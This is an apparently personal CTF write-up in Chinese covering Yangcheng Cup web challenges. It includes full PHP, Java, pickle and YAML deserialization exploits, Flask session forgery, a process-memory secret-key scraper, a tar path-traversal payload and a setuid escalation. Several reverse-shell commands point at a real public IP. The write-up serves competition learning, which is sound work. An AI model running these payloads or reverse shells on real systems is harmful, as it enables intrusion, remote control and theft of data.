打了羊城杯,自我感觉难的挺合理:(
不过我觉得了解到题目出/考的是什么才是重要的:(
D0n’t pl4y g4m3!!!
一道考察php反序列化的题目,需要我们访问p0p.php
,但是我们一旦访问/p0p.php
就会把页面跳转至一个吃豆人游戏中
但是题目就是叫我们不要玩游戏的意思嘛
我开始还以为是什么js题,但是查遍了js,没有什么异常,才回去尝试抓包的
抓包以后发现啥也没有,这下这下了
但是它提示有个hint.zip
下载下来解压后的内容:
1 Ö_0 0vO Ow0 0w0 Ö_0 Ö_O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0_Ö Ö_o owO O.0
…
那我只能说hint了个寂寞
没辙啊,p0p.php
也不给源码
不过越是不给源码的说明越重要是吧,我们还是得像办法读出p0p.php
的内容
注意到服务器的php版本是7.4.21
此时群里的师傅们也都说了7.4.21有这个漏洞:
1 服务器 开发语言 PHP<=7.4.21 Development Server源码泄露漏洞
只需要先关闭自动更新Content-Length
,然后按如下图所示:
即可读到源码:
拉取到的p0p.php
内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php header ("HTTP/1.1 302 found" );header ("Location:https://passer-by.com/pacman/" );class Pro { private $exp ; private $rce2 ; public function __get ($name ) { return $this ->$rce2 =$this ->exp[$rce2 ]; } public function __toString ( ) { call_user_func ('system' , "cat /flag" ); } } class Yang { public function __call ($name , $ary ) { if ($this ->key === true || $this ->finish1->name) { if ($this ->finish->finish) { call_user_func ($this ->now[$name ], $ary [0 ]); } } } public function ycb ( ) { $this ->now = 0 ; return $this ->finish->finish; } public function __wakeup ( ) { $this ->key = True; } } class Cheng { private $finish ; public $name ; public function __get ($value ) { return $this ->$value = $this ->name[$value ]; } } class Bei { public function __destruct ( ) { if ($this ->CTF->ycb ()) { $this ->fine->YCB1 ($this ->rce, $this ->rce1); } } public function __wakeup ( ) { $this ->key = false ; } } function prohib ($a ) { $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i" ; return preg_replace ($filter ,'' ,$a ); } $a = $_POST ["CTF" ];if (isset ($a )){ unserialize (prohib ($a )); } ?>
可以看到是一个php反序列化,而且还有waf
这个waf只会将关键字替换为空,所以我们可以进行双写绕过:
syssystemtem
只会将中间的system
去掉,然后剩下的sys 和 tem 能够组成system
那我们来简单看下这个链子怎么触发吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 我们知道call_user_func和eval差不多,都是危险的命令执行函数。只要我们能够触发call_user_func 就能够进行命令执行 这里有两个call_user_func 一个是写死的,另外一个不是,可以我们自定义参数的 一般来说自定义参数的能够利用的点更多,所以我们关注Yang类内的call_user_func() 故链子的终点是Yang::__call() call魔术方法要触发的条件是访问不可访问的方法触发 注意到Bei内的destruct魔术方法会调用 fine->YCB1() 如果将fine设置为new Yang()的话就能够触发 Yang::YCB1() 但是Yang类没有YCB1方法,所以会触发call方法 要出发desctruct需要我们CTF-> ycb()返回为真 此时发现只有Yang类有ycb函数 需要将CTF设置为new Yang() 此时ycb就会返回 finish->finish 接下来调用Cheng类,使其返回的finish为真即可
总结一下其实链子就是
1 Yang::__call() <- Bei::__destruct()
这里先将exp给大家,然后说一下我先前不懂的点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class Pro { private $exp ; private $rce2 ; public function __get ($name ) { return $this ->$rce2 =$this ->exp[$rce2 ]; } public function __toString ( ) { call_user_func ('system' , "cat /flag" ); } } class Yang { public function __call ($name , $ary ) { if ($this ->key === true || $this ->finish1->name) { if ($this ->finish->finish) { call_user_func ($this ->now[$name ], $ary [0 ]); } } } public function ycb ( ) { $this ->now = 0 ; return $this ->finish->finish; } public function __wakeup ( ) { $this ->key = True; } } class Cheng { private $finish ; public $name ; public function __get ($value ) { return $this ->$value = $this ->name[$value ]; } } class Bei { public function __destruct ( ) { if ($this ->CTF->ycb ()) { $this ->fine->YCB1 ($this ->rce, $this ->rce1); } } public function __wakeup ( ) { $this ->key = false ; } } function prohib ($a ) { $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i" ; return preg_replace ($filter ,'' ,$a ); } $a = new Yang (); $b = new Cheng ();$c = new Bei ();$d = new Yang ();$c ->CTF = $a ;$a -> finish = $b ;$b -> name = array ("finish" => "a" );$c ->fine = $d ;$d ->finish = $b ;$d -> finish1 = $b ;$d ->now = array ("YCB1" => "system" );$c ->rce = "ls" ;echo urlencode (serialize ($c ));?>
为什么name要设置成 name[finish] = "a"
的形式
还有是为什么now[YCB1] = "system"
的形式
先说说后面那个
如果调用__call()
魔术方法的话,会传递两个参数
第一个参数就是我们调用的方法,这里是调用YCB1
方法,所以传递了第一个参数叫YCB1
第二个参数就是我们调用到的方法传递的参数,比如这里的YCB1
方法有两个参数:
rce
和rce1
,那么这两个参数会一并传递过去,并作为数组存储
而这里call_user_func调用了call的两个参数:
now[$name]
和ary[0]
call传入的两个参数就叫name 和 ary
答案很明显了吧,name其实就是我们的YCB1
方法,而ary
数组内有2个元素,一个是rce
,另一个是rce1
,这里的ary[0]
相当于rce
其实就是now[YCB1](rce)
我们将now设置为数组,且键名就叫YCB1
,键值为system
,其实就是system(rce)
再将rce设置为ls
就相当于执行system('ls');
那另外一个的话我想大概也是如此,传入了一个finish参数,然后value其实就是finish
返回的是什么意思呢?是这样的:
1 2 3 4 5 $finish = $name[finish] 而 $name[finish]我们设置为了a 我们将其设置为了一个字符串,然后返回了$finish的值 此时$finish不为空,所以为true
那大概便是如此
将序列化结果进行双写即可(也就是把system改为syssystemtem)
但是ls /
之后找不到flag。。。
cat /flag
会显示flag不在这,笑死,找了个寂寞
这里通过find /
来读取所有文件,最终发现flag在/tmp/catcatflag.txt
内:
最终payload:
1 CTF=O%3A3%3A%22Bei%22%3A3%3A%7Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A3%3A%7Bs%3A6%3A%22finish%22%3Br%3A3%3Bs%3A7%3A%22finish1%22%3Br%3A3%3Bs%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A6%3A%22syssystemtem%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A10%3A%22cat+%2Ftmp%2F%2A%22%3B%7D
ez_java
不是很懂
java审计题,题目提供了附件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package com.ycbjava.Contorller;import com.ycbjava.Utils.NewObjectInputStream;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.util.Base64;import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;import org.springframework.p008ui.Model;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class IndexController {@RequestMapping({"/"}) @ResponseBody public String index () {return "Welcome to YCB" ;} @RequestMapping({"/templating"}) public String templating (@RequestParam String name, Model model) {model.addAttribute("name" , name); return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;} @RequestMapping({"/getflag"}) @ResponseBody public String getflag (@RequestParam String data) throws IOException, Clabyte [] decode = Base64.getDecoder().decode(data);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStr byteArrayOutputStream.write(decode); new NewObjectInputStream (new ByteArrayInputStream (byteArrayOutputStrreturn "Success" ;}
简单地说就是/
会显示Welcome to YCB
/templating
会对模板进行渲染(这里的模板是freemarker)
/getflag
会将传入的data参数
进行base64解码,然后进行反序列化
其实这里还是不是很懂要怎么利用,毕竟自己的java还是太菜了
这里按照thai师傅的方法应该是调用:
BadAttributeValueExpException -> POJONODE#toString -> HtmlInvocationHandler -> htmlmap
利用poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import com.ycbjava.Utils.HtmlInvocationHandler;import com.ycbjava.Utils.HtmlMap;import java.io.*;import java.lang.reflect.*;import java.util.Base64;import java.util.Map;public class SerializeTest { public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } public static void base64encode_exp (Object obj) throws IOException, ClassNotFoundException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); oos.close(); System.out.println(new String (Base64.getEncoder().encode(baos.toByteArray()))); } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { HtmlMap htmlMap = new HtmlMap (); htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" + " <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" + " <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" + " <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}" ; htmlMap.filename="index.ftl" ; HtmlInvocationHandler hih = new HtmlInvocationHandler (); hih.obj = htmlMap; Map proxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class []{Map.class},hih); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructors()[0 ]; annotationInvocationHandlerConstruct.setAccessible(true ); Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, proxymap); serialize(o); base64encode_exp(o); unserialize("ser.bin" ); } }
payload:
1 rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAnY29tLnljYmphdmEuVXRpbHMuSHRtbEludm9jYXRpb25IYW5kbGVyQCXpLL1HVZUCAAFMAANvYmpxAH4AAXhwc3IAGWNvbS55Y2JqYXZhLlV0aWxzLkh0bWxNYXAVSPlJWeMkfAIAAkwAB2NvbnRlbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhmaWxlbmFtZXEAfgALeHB0ASk8I2Fzc2lnbiBhYz1zcHJpbmdNYWNyb1JlcXVlc3RDb250ZXh0LndlYkFwcGxpY2F0aW9uQ29udGV4dD4KICA8I2Fzc2lnbiBmYz1hYy5nZXRCZWFuKCdmcmVlTWFya2VyQ29uZmlndXJhdGlvbicpPgogICAgPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT4KICAgICAgPCNhc3NpZ24gVk9JRD1mYy5zZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcihkY3IpPiR7ImZyZWVtYXJrZXIudGVtcGxhdGUudXRpbGl0eS5FeGVjdXRlIj9uZXcoKShuYW1lKX10AAlpbmRleC5mdGx2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cA==
将payload发到getflag路由即可覆写index.ftl
将ftl覆写成可以利用freemarker ssti的形式,再访问template
传入name:
1 /templating?name=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJi9kZXYvdGNwLzQ3LjExMy4yMjYuMTUvMjMzMyAwPiYx%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D
执行反弹shell
关于反弹shell的操作这里也一直在踩坑,导致卡了很久,包括Serpent那题也是很晚才能够解出来
这里反弹shell必须要有一台公网vps,同时要在安全组内对需要监听的端口进行开放,不然请求就会被防火墙一直拦截
噗,下次就不要这么犯蠢了:(
vps内:
然后发送请求:
即可获得flag
ez_web
不会。。
一点头绪都没有
官方hint说访问cmd.php
访问后命令执行仅能执行whoami
还有另外一个是列目录,但是只能列ls、ls /、ls /etc、ls /etc/passwd
文件上传没看,大概也对文件进行了限制
总之就是很迷
不过结束后听师傅们说应该是通过文件上传so文件再用whoami触发…?
算了 看不懂
Serpent
flask题
通过访问www.zip就可以获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from flask import Flask, sessionfrom secret import secret@app.route('/verification' ) def verification (): try : attribute = session.get('Attribute' ) if not isinstance (attribute, dict ): raise Exception except Exception: return 'Hacker!!!' if attribute.get('name' ) == 'admin' : if attribute.get('admin' ) == 1 : return secret else : return "Don't play tricks on me" else : return "You are a perfect stranger to me" if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
访问/verification
获取到session 如果session为admin,返回secret
1 eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR1aFBGV3NPTW9jIn19.ZPLScQ.k8fmYNSO4EDn54Kil8ACIULDJFU
ey开头的session是flask的session
尝试使用flask session decoder:
1 2 python.exe .\flask_session_cookie_manager3.py decode -c 'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR1aFBGV3NPTW9jIn19.ZPLScQ.k8fmYNSO4EDn54Kil8ACIULDJFU' b'{"Attribute":{"admin":0,"name":"GWHT","secret_key":"GWHTuhPFWsOMoc"}}'
他直接把secret_key给解出来了:
1 2 python.exe .\flask_session_cookie_manager3.py decode -c 'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR1aFBGV3NPTW9jIn19.ZPLScQ.k8fmYNSO4EDn54Kil8ACIULDJFU' -s 'GWHTuhPFWsOMoc' {'Attribute': {'admin': 0, 'name': 'GWHT', 'secret_key': 'GWHTuhPFWsOMoc'}}
加密:
1 2 python.exe .\flask_session_cookie_manager3.py encode -s 'GWHTuhPFWsOMoc' -t "{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTuhPFWsOMoc'}}" eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUdWhQRldzT01vYyJ9fQ.ZPLT5A.Fp0XBHl0kAZjrReVYq-LcyOiOsE
返回:
1 Hello admin, welcome to /ppppppppppick1e
访问src0de即可获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @app.route('/src0de' ) def src0de (): f = open (__file__, 'r' ) rsp = f.read() f.close() return rsp[rsp.index("@app.route('/src0de')" ):] @app.route('/ppppppppppick1e' ) def ppppppppppick1e (): try : username = "admin" rsp = make_response("Hello, %s " % username) rsp.headers['hint' ] = "Source in /src0de" pick1e = request.cookies.get('pick1e' ) if pick1e is not None : pick1e = base64.b64decode(pick1e) else : return rsp if check(pick1e): pick1e = pickle.loads(pick1e) return "Go for it!!!" else : return "No Way!!!" except Exception as e: error_message = str (e) return error_message return rsp class GWHT (): def __init__ (self ): pass if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
这里就是pickle反序列化的点了:
pickle是python中的一个能够序列化和反序列化对象的模块
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickleclass Person (): def __init__ (self ): self.age = 18 self.name = "Pickle" p = Person() opcode = pickle.dumps(p) print (opcode)P = pickle.loads(opcode) print ('The age is:' +str (P.age), 'The name is' +P.name)
上面是一个简单的pickle例子,dumps相当于序列化一个对象
而loads相当于反序列化一个对象
而pickle反序列化中还有一些opcode,例如一个比较经典的opcode:
1 2 3 4 5 6 7 8 9 10 11 import pickleopcode = b'''cos system (S'whoami' tRcos system (S'whoami' tR.''' import base64r = base64.b64encode(opcode) print (r)
但是在这里不行,它返回了No Way!!!
因为这里还有个check函数没有给出,相当于有waf的存在
慢慢测试发现waf拦截了R
所以我们需要一个不含R的opcode协助我们进行pickle反序列化:
1 2 3 4 5 6 import base64opcode = b'''(S'whoami ios system .''' print (base64.b64encode(opcode))
这个时候返回了go for it
但是并没有whoami的回显,说明我们要进行无回显的pickle反序列化
这里还是通过反弹shell来执行:
1 2 3 4 5 6 7 8 9 opcode=b'''(S'bash -c "bash -i >& /dev/tcp/47.113.226.15/2333 0>&1"' ios system .''' import base64r = base64.b64encode(opcode) print (r)
打开2333的监听,将其使用cookie传递后成功反弹:
但是我们在cat /flag
的时候显示了权限不足
由于服务器使用python
这里我们使用python提权:
1 2 3 4 5 python3 -c "import pty;pty.spawn('/bin/sh')" python3 import os os.setuid(0) os.system("cat /flag")
ArkNights
这题被狠狠的非预期了。。
这题提供了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import uuidfrom flask import *from werkzeug.utils import *app = Flask(__name__) app.config['SECRET_KEY' ] =str (uuid.uuid4()).replace("-" ,"*" )+"Boogipopisweak" @app.route('/' ) def index (): name=request.args.get("name" ,"name" ) m1sery=[request.args.get("m1sery" ,"Doctor.Boogipop" )] if (session.get("name" )=="Dr.Boog1pop" ): blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/" , name, re.IGNORECASE) if blacklist: return "bad hacker no way" exec (f'for [{name} ] in [{m1sery} ]:print("strange?")' ) else : session['name' ] = "Doctor" return render_template("index.html" ,name=session.get("name" )) @app.route('/read' ) def read (): file = request.args.get('file' ) fileblacklist=re.findall("/flag|fl|ag/" ,file, re.IGNORECASE) if fileblacklist: return "bad hacker!" start=request.args.get("start" ,"0" ) end=request.args.get("end" ,"0" ) if start=="0" and end=="0" : return open (file,"rb" ).read() else : start,end=int (start),int (end) f=open (file,"rb" ) f.seek(start) data=f.read(end) return data @app.route("/<path:path>" ) def render_page (path ): print (os.path.pardir) print (path) if not os.path.exists("templates/" + path): return "not found" , 404 return render_template(path) if __name__=='__main__' : app.run( debug=False , host="0.0.0.0" ) print (app.config['SECRET_KEY' ])
可以看到本意应该是什么呢?
先看路由,read路由存在有任意文件读取,但是不能直接读取flag
/
里面能够通过exec进行命令执行,但是我们需要对session进行修改
这里就有点像蓝帽杯2022 file_session
的味道了,毕竟在read路由内写的源码都十分地相似:
secret_key肯定是存在内存内的,由于我们没有其他方法直接读取到secret_key
我们就需要间接从内存中获取,其secret_key是随机uuid,并将-
替换为*
,然后后面拼接上Boogipopisweak:
利用我们蓝帽杯里的方法,读取/proc/self/maps
和proc/self/mem
获取secretkey:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport reimport sysurl_1 = "http://5000.endpoint-4793d8bd333a4fa89e67ee33328d29e9.m.ins.cloud.dasctf.com:81/read?file=../../../../../proc/self/maps" res = requests.get(url_1) maplist = res.text.split("\n" ) for i in maplist: m = re.match (r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) rw" , i) if m != None : start = int (m.group(1 ), 16 ) end = int (m.group(2 ), 16 ) print ("addr :" , start, "-" , end) url_2 = "http://5000.endpoint-4793d8bd333a4fa89e67ee33328d29e9.m.ins.cloud.dasctf.com:81/read?file=../../../../../proc/self/mem&start={}&end={}" .format ( start, end - start) res_1 = requests.get(url_2) if "Boogipopisweak" in res_1.text: try : rt = re.findall(b"[a-z0-9]{8}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{12}" , res_1.content) if rt: print (rt) except : pass
爆出key:
1 0a3cc76d*f33e*4158*96bc*e7e9ea665861
还要记得加上Boogipopisweak
key:
1 0a3cc76d*f33e*4158*96bc*e7e9ea665861Boogipopisweak
验证:
1 2 3 4 5 eyJuYW1lIjoiRG9jdG9yIn0.ZPMttQ.56HcQex02AeagTzBOoC-EqGuc-Q decode: python.exe .\flask_session_cookie_manager3.py decode -c 'eyJuYW1lIjoiRG9jdG9yIn0.ZPMttQ.56HcQex02AeagTzBOoC-EqGuc-Q' -s '0a3cc76d*f33e*4158*96bc*e7e9ea665861Boogipopisweak' {'name': 'Doctor'}
伪造的时候还需要加上时间戳…
为什么呢?
这就涉及到session的一些性质了,对于flask session加密的流程如下:
1 2 3 4 json.dumps 将对象转换为json字符串。作为数据 若数据压缩后长度更短。则用zlib进行压缩 将数据Base64编码 通过hmac算法计算数据签名。将签名附在数据后。用点分割
1 2 3 4 5 6 7 8 9 10 他们的格式是: ey开头的.base64encode的.数据签名 对于这个session: eyJuYW1lIjoiRG9jdG9yIn0.ZPMttQ.56HcQex02AeagTzBOoC-EqGuc-Q 此处中间的ZPMttQ就是base64加密的内容,我们对其解密得到: >>> import base64 >>> t=base64.b64decode('ZPMttQ==') >>> int.from_bytes(t, "big") 1693658549
可以得到其时间戳
说明这个session是有时效性的
同样,我们使用蓝帽杯的脚本来对时间戳进行加密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import hmacimport base64def sign_flask (data, key, times ): digest_method = 'sha1' def base64_decode (string ): string = string.encode('utf8' ) string += b"=" * (-len (string) % 4 ) try : return base64.urlsafe_b64decode(string) except (TypeError, ValueError): raise print ("Invalid base64-encoded data" ) def base64_encode (s ): return base64.b64encode(s).replace(b'=' , b'' ) salt = b'cookie-session' mac = hmac.new(key.encode("utf8" ), digestmod=digest_method) mac.update(salt) key = mac.digest() msg = base64_encode(data.encode("utf8" )) + b'.' + base64_encode(times.to_bytes(8 , 'big' )) data = hmac.new(key, msg=msg, digestmod=digest_method) hs = data.digest() return msg + b'.' + base64_encode(hs) base64_data = base64.b64encode(b'test' ) print (sign_flask('{"data":{" b":"' + base64_data.decode() + '"}}' , 'b3876b37-f48e-49af-ab35-b12fe458a64b' , 1893532360 ))
如果在正确的时间访问接口,会返回500,说明我们成功进入到exec
但是后面怎么绕exec就有些麻烦了
刚开始是想通过类似sql注入
的方式闭合[]
然后执行命令,但是发现过滤了[]
但是它还有一个非预期:
1 直接用read路由读取proc/1/environ
ezyaml
涉及到yaml反序列化、tar包的extractall漏洞
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def waf (s ): flag = True blacklist = ['bytes' ,'eval' ,'map' ,'frozenset' ,'popen' ,'tuple' ,'exec' ,'\\' ,'object' ,'listitems' ,'subprocess' ,'object' ,'apply' ] for no in blacklist: if no.lower() in str (s).lower(): flag= False print (no) break return flag def extractFile (filepath, type ): extractdir = filepath.split('.' )[0 ] if not os.path.exists(extractdir): os.makedirs(extractdir) if type == 'tar' : tf = tarfile.TarFile(filepath) tf.extractall(extractdir) return tf.getnames()
路由:
1 2 3 4 5 6 @app.route('/' , methods=['GET' ] ) def main (): fn = 'uploads/' + md5().hexdigest() if not os.path.exists(fn): os.makedirs(fn) return render_template('index.html' )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload (): if request.method == 'GET' : return redirect('/' ) if request.method == 'POST' : upFile = request.files['file' ] print (upFile) if re.search(r"\.\.|/" , upFile.filename, re.M|re.I) != None : return "<script>alert('Hacker!');window.location.href='/upload'</script>" savePath = f"uploads/{upFile.filename} " print (savePath) upFile.save(savePath) if tarfile.is_tarfile(savePath): zipDatas = extractFile(savePath, 'tar' ) return render_template('result.html' , path=savePath, files=zipDatas) else : return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"
1 2 3 4 5 6 7 8 9 @app.route('/src' , methods=['GET' ] ) def src (): if request.args: username = request.args.get('username' ) with open (f'config/{username} .yaml' , 'rb' ) as f: Config = yaml.load(f.read()) return render_template('admin.html' , username="admin" , message="success" ) else : return render_template('index.html' )
这里就是通过/src
路由并且提供name参数能够对yaml进行反序列化,然后对admin.html进行渲染并且返回
但是无论我们怎么上传tar包,我们都不能够访问到我们传入的yaml文件(返回500)
百思不得其解啊,看不懂要怎么触发
这时候还是得靠万能的博客,通过NSSCTF Round#6
的一篇wp内,发现了对于tar包的extractall的漏洞:
其实这里是它引用的一篇博客:
https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/
通过这里面的poc直接运行即可
另外,关于yaml反序列化的一些payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 import yaml payload = '!!python/object/apply:subprocess.check_output [[calc.exe]]' yaml.load(payload)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import tarfileimport iotar = tarfile.TarFile('malicious.tar' , 'w' ) info = tarfile.TarInfo("../../config/Err23.yaml" ) deserialization_payload = '!!python/object/apply:os.system ["cat /fllaagg_here>templates/admin.html"]' info.size=len (deserialization_payload) info.mode=0o444 tar.addfile(info, io.BytesIO(deserialization_payload.encode())) tar.close()
总结一下,感觉自己还是特别特别的菜。。
啥也不会的样子,pop链也得理解好久:(
不过我应该是有点进步了吧,起码是会那么一点点东西的:(
另:网络的力量真的非常的厉害